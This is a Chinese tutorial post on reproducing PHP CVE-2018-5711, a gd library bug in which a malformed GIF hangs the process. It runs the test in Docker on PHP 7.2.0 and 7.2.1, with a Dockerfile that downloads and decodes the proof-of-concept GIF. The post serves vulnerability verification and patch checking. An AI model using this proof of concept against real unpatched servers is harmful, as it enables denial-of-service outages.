关键词搜索

源码搜索 ×
×

使用 Docker 测试 PHP CVE-2018-5711 漏洞

发布2018-02-01浏览2249次

详情内容

漏洞说明

编号为PHP CVE-2018-5711的漏洞能让运行PHP的服务器瞬间宕机,原理是gd库在遇到特定非法格式的gif图片时会耗尽CPU,影响范围如下:

  • PHP 5 < 5.6.33
  • PHP 7.0 < 7.0.27
  • PHP 7.1 < 7.1.13
  • PHP 7.2 < 7.2.1

其中列出的都是该系列的最高版本,也就是说几乎所有使用gd库的PHP都需要为此更新到最高版本。

下面介绍这个漏洞在Docker中验证的方法,需要强调,这里提供了非法格式的git图片文件,如果上传到没有更新的服务器,不排除服务器宕机的可能,造成经济损失将违反相关法律。

PHP 7.2.0版本中的漏洞

下载代码

git clone https://github.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711.git

    进入项目文件夹

    cd Test-7-2-0-PHP-CVE-2018-5711

      构建Docker镜像

      docker build -t test-7-2-0-php-cve-2018-5711 .

        构建成功后查看PHP版本

        docker run --rm test-7-2-0-php-cve-2018-5711 -v

          可以看到

          PHP 7.2.0 (cli) (built: Jan  4 2018 01:20:58) ( NTS )
          Copyright (c) 1997-2017 The PHP Group
          Zend Engine v3.2.0, Copyright (c) 1998-2017 Zend Technologies
          • 2
          • 3

          查看PHP中是否包含GD

          docker run --rm --entrypoint /bin/bash test-7-2-0-php-cve-2018-5711 -c 'php -m | grep -I gd'

            如果包含则显示

            gd

              运行验证程序

              docker run --rm test-7-2-0-php-cve-2018-5711 -r '"imagecreatefromgif(\"poc.gif\");"'

                会看到程序卡死,由于Docker限制进程使用的系统资源,可能不会死机,不过需要使用docker kill命令杀死相关进程。

                PHP 7.2.1版本中已经修好了

                下载代码

                git clone https://github.com/huzhenghui/Test-7-2-1-PHP-CVE-2018-5711.git

                  进入项目文件夹

                  cd Test-7-2-1-PHP-CVE-2018-5711

                    构建Docker镜像

                    docker build -t test-7-2-1-php-cve-2018-5711 .

                      构建成功后查看PHP版本

                      docker run --rm test-7-2-1-php-cve-2018-5711 -v

                        可以看到

                        PHP 7.2.1 (cli) (built: Jan  8 2018 23:13:17) ( NTS )
                        Copyright (c) 1997-2017 The PHP Group
                        Zend Engine v3.2.0, Copyright (c) 1998-2017 Zend Technologies
                        • 2
                        • 3

                        查看PHP中是否包含GD

                        docker run --rm --entrypoint /bin/bash test-7-2-1-php-cve-2018-5711 -c 'php -m | grep -I gd'

                          如果包含则显示

                          gd

                            运行验证程序

                            docker run --rm test-7-2-1-php-cve-2018-5711 -r '"imagecreatefromgif(\"poc.gif\");"'

                              会看到程序报错

                              Warning: imagecreatefromgif(): 'poc.gif' is not a valid GIF file in Command line code on line 1

                                Dockerfile说明

                                两个示例的Dockerfile的差别仅在于版本,完整的Dockerfile如下:

                                FROM php:7.2.0
                                
                                MAINTAINER huzhenghui hu@daonao.com
                                
                                RUN apt-get update && \
                                    apt-get install -y libpng-dev xxd && \
                                    docker-php-ext-install gd && \
                                    curl https://raw.githubusercontent.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711/master/poc -o /poc && \
                                    xxd -r /poc /poc.gif
                                
                                • 2
                                • 3
                                • 4
                                • 5
                                • 6
                                • 7
                                • 8
                                • 9
                                • 10

                                首先设置基础镜像

                                FROM php:7.2.0

                                  维护者信息

                                  MAINTAINER huzhenghui hu@daonao.com

                                    更新包管理器

                                    apt-get update

                                      按装包,其中libpng-dev用于编译gd扩展,xxd用于从文本文件生成非法格式文件,这种文件不适合原文在网络传播,需要转一下码。

                                      apt-get install -y libpng-dev xxd

                                        安装gd扩展,此处使用docker提供的工具

                                        docker-php-ext-install gd

                                          下载示例文件转码后的文件

                                          curl https://raw.githubusercontent.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711/master/poc -o /poc

                                            还原示例文件

                                            xxd -r /poc /poc.gif

                                              相关技术文章

                                              点击QQ咨询
                                              开通会员
                                              返回顶部
                                              ×
                                              微信扫码支付
                                              微信扫码支付
                                              确定支付下载
                                              请使用微信描二维码支付
                                              ×

                                              提示信息

                                              ×

                                              选择支付方式

                                              • 微信支付
                                              • 支付宝付款
                                              确定支付下载